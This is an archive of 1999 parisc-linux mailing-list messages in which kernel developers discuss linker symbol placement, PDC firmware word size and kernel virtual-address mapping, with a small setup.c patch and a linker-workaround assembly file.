Original-Received: (qmail 5902 invoked from network); 16 Nov 1999 20:54:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 20:54:06 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA01909;
	Tue, 16 Nov 1999 15:52:48 -0500 (EST)
In-Reply-To: <199911162018.NAA15083@debian.fc.hp.com> from "Paul Bame" at Nov 16, 99 01:18:20 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6420

> The _end symbol is not a reliable indicator of where
> the kernel's memory ends.  And the hpux
> bootloader doesn't provide the SOM header from whence this could
> theoretically be calculated.  I haven't tried out the _end trick
> posted last week, but it looks like it'll work (don't call the symbol
> _end if you try it).  As long as your kernel links, the guess is
> probably OK for now.

Ok, I see the problem now.  The section $DLT$ contains a bunch of
undefined common symbols as well as _end.  For example,

boot_cpu_data       |       416|undef |common |$CODE$

The _end defined by the linker is the end of the bss section but not
the end of last section of the kernel.

Why is boot_cpu_data in $CODE$ rather than $DATA$?  There may be
some incorrect .section/.subsection directives somewhere (probably
in the include files).

--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Tue, 16 Nov 1999 13:32:56 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <3831CD88.C0DC6261@hp.com>
References: <Pine.LNX.4.10.9911151948070.10661-100000@vodka.thepuffingroup.com> <38309A65.9CB3DFC4@hp.com> <383163F5.3B21ECAB@uswest.net>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618639 28034 80.91.229.3 (22 Nov 2014 01:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:39 +0000 (UTC)
Cc: frowand@cup.hp.com, Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: frank_rowand@hp.com  Tue Nov 16 14:31:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA09350
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 14:31:22 -0700
Original-Received: (qmail 23700 invoked by uid 15267); 16 Nov 1999 21:32:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23687 invoked from network); 16 Nov 1999 21:32:58 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 21:32:58 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id 070FF41B; Tue, 16 Nov 1999 13:32:57 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id NAA13825; Tue, 16 Nov 1999 13:32:56 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6421

Ryan Bradetich wrote:
> 
> Frank Rowand wrote:
> 
> > Alex deVries wrote:
> > >
> > > On Mon, 15 Nov 1999, Frank Rowand wrote:
> > > > You don't get to choose.  The PDC is either 32 bit or 64 bit.  It's not
> > > > a question of what mode the OS is running in, but what the PDC was
> > > > compiled for.
> > >
> > > Hm.  I'm pretty sure that a 32 bit version of HPUX has run on that box as
> > > well, so wouldn't that mean that it'd have to be a 32 bit PDC?
> > >
> > > - Alex
> >
> > Nope.  The OS has to figure out what type of PDC it is calling, and properly
> > marshall the arguments for the call.
> >
> > -Frank
> 
> Time for me to show off my ignorance again. :)  As I understand it, the PDC is
> firmware, which all the CPU (in a multiple CPU box) share.  I know that when
> I installed 11.X on this C200 that I was given the choice to install it in 32
> bit or
> 64 bit mode.  Does this mean the install disk updates the PDC firmware to boot
> into either 32-bit or 64-bit mode?


The PDC is either 32-bit or 64-bit.  The OS has to deal with whatever version
of the firmware is on the box.

HP-UX is smart enough to switch into wide or narrow mode, as needed, before
calling PDC.  It also passes the arguments differently for 64 bit PDC than
for 32 bit PDC.

Page zero is also different for PA2.0 systems.  HP-UX has to deal with those
differences even when it's a 32 bit OS.


> Also looking at the PSW definition for the W bit on page 2-7 and
> page 2-8 of PA-RISC 2.0 Architecture by Gerry Kane:
> 
> W: Wide 64-bit address formation enabled.  When 1, full 64-bit-offset
> addressing
> is enabled.  When 0, addresses are truncated to 32-bit offsets, for
> compatibility
> with existing PA-RISC 1.0 and 1.1 applications.
> 
> >From PIM dumps, I know all the registers are 64 bit, and the PSW is also 64 bit
> on
> this C200..  So it looks like I should be able to switch between 32-bit and
> 64-bit by
> changing the W bit in the PSW?
> 
> Thanks,
> Ryan Bradetich
> 
> P.S.  I will try to query the PDC_MODEL as you suggested as in a previous email
> 
> in this thread and post the result when I get home tonight.


-Frank


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 13:43:12 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <3831CFF0.F4B3CE3E@hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618640 28036 80.91.229.3 (22 Nov 2014 01:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Tue Nov 16 14:41:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA09540
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 14:41:39 -0700
Original-Received: (qmail 28730 invoked by uid 15267); 16 Nov 1999 21:43:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28722 invoked from network); 16 Nov 1999 21:43:15 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 21:43:15 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 1861827D4
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Nov 1999 16:43:13 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id NAA13980 for <parisc-linux@thepuffingroup.com>; Tue, 16 Nov 1999 13:43:12 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6422

Philipp Rumpf wrote:
> 
> > This is just one of several recent messages dealing with the issues caused by
> > locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I
> > still don't understand why the kernel can't be at zero, even though several
> > people have tried to explain it to me.  Can anyone provide a clear
> > explanation?
> 
> Advantages of mapping the kernel at 0xc000 0000 (or 0x8000 0000/0xe000 0000)
> 

< stuff deleted >

> 
> Disadvantages
> 

   - C code that needs to run in real mode seems to be rather fragile, given
     Paul's recent experience with head.c.  (I think it was Paul.)

   - A single instance of code can't (easily) be coded to be able to run both
     in real mode and in virtual mode.

   - It's real easy to mis-code real mode assembly (eg. use the PA() macro when
     it shouldn't be used or don't use it when it should be used).

   - Issues with coherent I/O.

< stuff deleted >

-Frank


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 17:56:32 -0500 (EST)
Lines: 117
Approved: news@gmane.org
Message-ID: <199911162256.RAA03404@hiauly1.hia.nrc.ca>
References: <199911162052.PAA01909@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618640 28038 80.91.229.3 (22 Nov 2014 01:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:40 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 15:55:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA09950
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 15:55:59 -0700
Original-Received: (qmail 29701 invoked by uid 15267); 16 Nov 1999 22:57:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29688 invoked from network); 16 Nov 1999 22:57:35 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 22:57:35 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA03404;
	Tue, 16 Nov 1999 17:56:32 -0500 (EST)
In-Reply-To: <199911162052.PAA01909@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 16, 99 03:52:48 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6423

> > The _end symbol is not a reliable indicator of where
> > the kernel's memory ends.  And the hpux
> > bootloader doesn't provide the SOM header from whence this could
> > theoretically be calculated.  I haven't tried out the _end trick
> > posted last week, but it looks like it'll work (don't call the symbol
> > _end if you try it).  As long as your kernel links, the guess is
> > probably OK for now.
> 
> Ok, I see the problem now.  The section $DLT$ contains a bunch of
> undefined common symbols as well as _end.  For example,
> 
> boot_cpu_data       |       416|undef |common |$CODE$
> 
> The _end defined by the linker is the end of the bss section but not
> the end of last section of the kernel.

Ok, this is a programing problem.  For objects that don't need external
linkage, declare them static.  For those that do, initialize them!  This
will eliminate those pesky common variables.  For example,

--- setup.c.orig	Fri Nov 12 18:23:50 1999
+++ setup.c	Tue Nov 16 17:46:36 1999
@@ -57,14 +57,14 @@
 
 
 #define COMMAND_LINE_SIZE 1024
-char 	saved_command_line[COMMAND_LINE_SIZE];
+char 	saved_command_line[COMMAND_LINE_SIZE] = {};
 
 #define pdc_wrapper(args...) ({				\
 	real_routine = (void *)PAGE0->mem_pdc;		\
 	real_call(##args);				\
 })
 
-struct cpuinfo_parisc boot_cpu_data;
+struct cpuinfo_parisc boot_cpu_data = {};
 
 extern __initfunc(unsigned long hp700fb_init(unsigned long mem_start));
 extern	void dino_init(void);
@@ -73,7 +73,7 @@
 #endif
 extern void do_inventory(void);
 
-PDC_CALL pdc;
+PDC_CALL pdc = {};
 
 
 void __xchg_called_with_bad_pointer(void)

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:46 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03120
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:45 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:45 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id OAA01708
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 14:22:41 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id OAA06576
	for <pcj@primenet.com>; Mon, 8 Mar 1999 14:23:43 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd006517; Mon Mar  8 14:23:34 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id PAA12738;
	Mon, 8 Mar 1999 15:51:13 -0500
Resent-Date: Mon, 8 Mar 1999 15:51:13 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Mon, 8 Mar 1999 15:50:54 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: hppa-linux@thepuffingroup.com
Message-ID: <Pine.LNX.3.96.990308154734.5280m-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [hppa-linux] New cross compiler set.
Resent-Message-ID: <"Q_R5S3.0.y63.-W3vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/150
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 7c0979758f3b5c009bc82d6e6b45219e
Status: RO
Lines: 25
Xref: merlin.pcj.primenet.com palinux:121


I've rebuilt cross compiling rpms for parisc-linux, and am uploading them
to ftp://sod.res.cmu.edu/pub/parisc/tools .

This fixes some problems with program names and locations. This will help
in actually getting hilo to cross compile.

The files uploaded are:
binutils-x-hppa-2.9.1-4.i386.rpm    egcs-x-hppa-linux-1.1.1-3.i386.rpm
binutils-x-hppa-2.9.1-4.src.rpm     egcs-x-hppa-linux-1.1.1-3.src.rpm


- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 16:06:41 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <199911170006.QAA27014@milano.cup.hp.com>
References: <19991116174733.C750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618640 28039 80.91.229.3 (22 Nov 2014 01:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: grundler@cup.hp.com  Tue Nov 16 17:03:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA10350
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 17:03:32 -0700
Original-Received: (qmail 22878 invoked by uid 15267); 17 Nov 1999 00:05:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22859 invoked from network); 17 Nov 1999 00:05:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 00:05:08 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA28324
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Nov 1999 16:05:06 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA27014; Tue, 16 Nov 1999 16:06:41 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 16 Nov 1999 17:47:33 PST."
             <19991116174733.C750@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6424

Philipp Rumpf wrote:
> Note that 3.75 GB userspace isn't a problem with either.  My A class looks
> pretty packed with 768 MB RAM so I doubt you could fit more than 1.75 GB in
> many pa1.1 boxes.

a180.pdf says A-class supports 2GB. And that's the "smallest" box HP
ships today and it won't be on the pricelist much longer. 712/100 only
supports 192MB. I don't know about 715's and older B/C-class systems.

I'm pretty sure all new workstations will support more than 4GB
(and run PA2.0). If we can do something now to port linux to those
boxes easier later, then I think we should.

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 21:04:08 -0500 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <199911170204.VAA11108@hiauly1.hia.nrc.ca>
References: <199911162256.RAA03404@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618641 28045 80.91.229.3 (22 Nov 2014 01:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:41 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 19:03:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA10785
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 19:03:49 -0700
Original-Received: (qmail 27882 invoked by uid 15267); 17 Nov 1999 02:05:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27874 invoked from network); 17 Nov 1999 02:05:25 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 02:05:25 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA11108;
	Tue, 16 Nov 1999 21:04:09 -0500 (EST)
In-Reply-To: <199911162256.RAA03404@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 16, 99 05:56:32 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6425

> > > The _end symbol is not a reliable indicator of where
> > > the kernel's memory ends.  And the hpux
> > > bootloader doesn't provide the SOM header from whence this could
> > > theoretically be calculated.  I haven't tried out the _end trick
> > > posted last week, but it looks like it'll work (don't call the symbol
> > > _end if you try it).  As long as your kernel links, the guess is
> > > probably OK for now.
> > 
> > Ok, I see the problem now.  The section $DLT$ contains a bunch of
> > undefined common symbols as well as _end.  For example,
> > 
> > boot_cpu_data       |       416|undef |common |$CODE$
> > 
> > The _end defined by the linker is the end of the bss section but not
> > the end of last section of the kernel.
> 
> Ok, this is a programing problem.  For objects that don't need external
> linkage, declare them static.  For those that do, initialize them!  This
> will eliminate those pesky common variables.  For example,

The problem of uninitialized global data is present throughout the kernel.
Initializing these objects might make the kernel unnecessarily larger.  Thus,
I thought I would try the suggestion of Jeff Law.  However, after a little
experimentaion, I found that there isn't a sort key that will put the
$AFTERDLT$ section after the $DLT$ section.  However, I think the following
solution will do the job.  Try it out.  It might depend on linker version
or who knows what else.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

;    theend.S

;    Copyright (C) 1999 John David Anglin
;
;    This program is free software; you can redistribute it and/or modify
;    it under the terms of the GNU General Public License as published by
;    the Free Software Foundation; either version 2, or (at your option)
;    any later version.

;    This program is distributed in the hope that it will be useful,
;    but WITHOUT ANY WARRANTY; without even the implied warranty of
;    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
;    GNU General Public License for more details.

;    You should have received a copy of the GNU General Public License
;    along with this program; if not, write to the Free Software
;    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

;    Wierd hack to force the linker to define _end correctly.

;    The sort key of 255 causes the linker to rename the $DLT$
;    section to $AFTERDLT$ and size it.  As a result, the _end
;    symbol defined by the linker correctly reflects the end of
;    the undefined common section.

	.space $PRIVATE$
	.subspa $AFTERDLT$,QUAD=1,ALIGN=8,ACCESS=31,ZERO,SORT=255
	.globl _start_dlt
_start_dlt:


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 19:22:50 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <832.942805370@upchuck>
References: <199911170204.VAA11108@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618641 28051 80.91.229.3 (22 Nov 2014 01:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:41 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Tue Nov 16 19:22:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA11006
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 19:22:54 -0700
Original-Received: (qmail 868 invoked by uid 15267); 17 Nov 1999 02:24:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 858 invoked from network); 17 Nov 1999 02:24:30 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 02:24:30 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id TAA00835;
	Tue, 16 Nov 1999 19:22:50 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Tue, 16 Nov 1999 21:04:08 EST.
             <199911170204.VAA11108@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6426

  In message <199911170204.VAA11108@hiauly1.hia.nrc.ca>you write:
  > experimentaion, I found that there isn't a sort key that will put the
  > $AFTERDLT$ section after the $DLT$ section.  However, I think the following
  > solution will do the job.  Try it out.  It might depend on linker version
  > or who knows what else.
There's always a way.

Create a .o file which contains a DLT & AFTERDLT section.  Make sure the
DLT section appears first in the object file (I'm assuming they have the
same sort keys).  Referece that .o first on the link line.

jeff


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 21:48:51 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <199911170248.VAA15412@hiauly1.hia.nrc.ca>
References: <832.942805370@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618641 28054 80.91.229.3 (22 Nov 2014 01:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:41 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 19:48:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA11259
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 19:48:34 -0700
Original-Received: (qmail 8465 invoked by uid 15267); 17 Nov 1999 02:50:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8457 invoked from network); 17 Nov 1999 02:50:11 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 02:50:10 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA15412;
	Tue, 16 Nov 1999 21:48:51 -0500 (EST)
In-Reply-To: <832.942805370@upchuck> from "Jeffrey A Law" at Nov 16, 99 07:22:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6427

>   In message <199911170204.VAA11108@hiauly1.hia.nrc.ca>you write:
>   > experimentaion, I found that there isn't a sort key that will put the
>   > $AFTERDLT$ section after the $DLT$ section.  However, I think the following
>   > solution will do the job.  Try it out.  It might depend on linker version
>   > or who knows what else.
> There's always a way.
> 
> Create a .o file which contains a DLT & AFTERDLT section.  Make sure the
> DLT section appears first in the object file (I'm assuming they have the
> same sort keys).  Referece that .o first on the link line.

As I noted, it appears to work as is.  Do you know why the DLT section
disappeared when I used the sort key of 255 for AFTERDLT?  Although
I haven't tried it, it may not be possible to create an object file with
both DLT and AFTERDLT sections.

Dave


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Tue, 16 Nov 1999 20:35:56 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1129.942809756@upchuck>
References: <199911170248.VAA15412@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618642 28270 80.91.229.3 (22 Nov 2014 01:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:42 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Tue Nov 16 20:36:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA11505
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 20:36:44 -0700
Original-Received: (qmail 22579 invoked by uid 15267); 17 Nov 1999 03:38:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22571 invoked from network); 17 Nov 1999 03:38:21 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 03:38:21 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id UAA01132;
